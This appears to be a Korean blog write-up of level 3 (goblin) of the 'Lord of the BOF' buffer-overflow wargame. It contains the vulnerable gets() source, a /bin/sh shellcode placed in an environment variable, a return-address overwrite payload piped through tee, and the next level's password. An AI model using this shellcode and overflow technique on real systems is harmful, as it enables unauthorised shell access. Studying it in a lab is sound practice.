2011. 6. 2. 02:29

⊙ 문제의 소스를 보자)

[gremlin@localhost gremlin]$ cat cobolt.c

/*

The Lord of the BOF : The Fellowship of the BOF

- goblin

- small buffer + stdin

*/

   

int main()

{

char buffer[16];

gets(buffer);

printf("%s\n", buffer);

}


 

+ [LEVEL2]와 틀려진건 argv인자 배열이 없어지고 gets()로 인해 표준입력 받아 buffer에 저장.


   

대략적인 구성은 LEVEL2와 같으므로 바로 본론으로 들어갑니다.

1) 셸코드를 환경변수로....

① 그럼 일단 올려보고 확인해 봅시다.

export SHCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

+ env 명령으로 해당 환경변수를 확인할수 있습니다.


   

2) 환경변수 주소를 알아보자! [Level2 참조]

[gremlin@localhost gremlin]$ ./getenv SHCODE

0xbfffff06


   

   

3) 공격문 작성

buffer[16]

EBP[4]

RET[4]

가비지값

가비지값

우리가 올린 해당 환경 변수 주소

(python -c 'print "D"*20 + "\x06\xff\xff\xbf"'; tee) | ./goblin

완료!!


   

[여기서 잠깐] 왜! tee를 사용하는가.

① # tee | sh 실행으로 간단한 테스트를 해보자

+ 이와 같이 tee와 파이프가"|" 동등한 자식프로세스로 연결되면서

tee의 입력 받은 라인이 파이프를 통해 쉘(Shell)로 전달 된다.
 

② Level3의 공격문의 이해

+ 즉 위의 그림과 같이 (python 인터프리터 공격문 ; tee) | ./goblin 을 실행하면

소괄호"()" 로 그룹화 하여 하나의 명령문으로 서브쉘 에서 실행한다.

+ ①번과 같이 tee와 파이프가 연결되어 있으므로 셸코드를 실행시키자 마자 죽지 않고
tee가 표준입력으로부터 입력을 기다린다.

+ 입력 받은 라인은 다시 표준 출력 함으로써 명령문(my-pass)을 실행시킬 수 있다.

   

*표준입력으로부터 읽어서 표준출력은 할수 있는 명령어면 다 가능하다 (예: cat)


cobolt : "hacking exposed"

Posted by devanix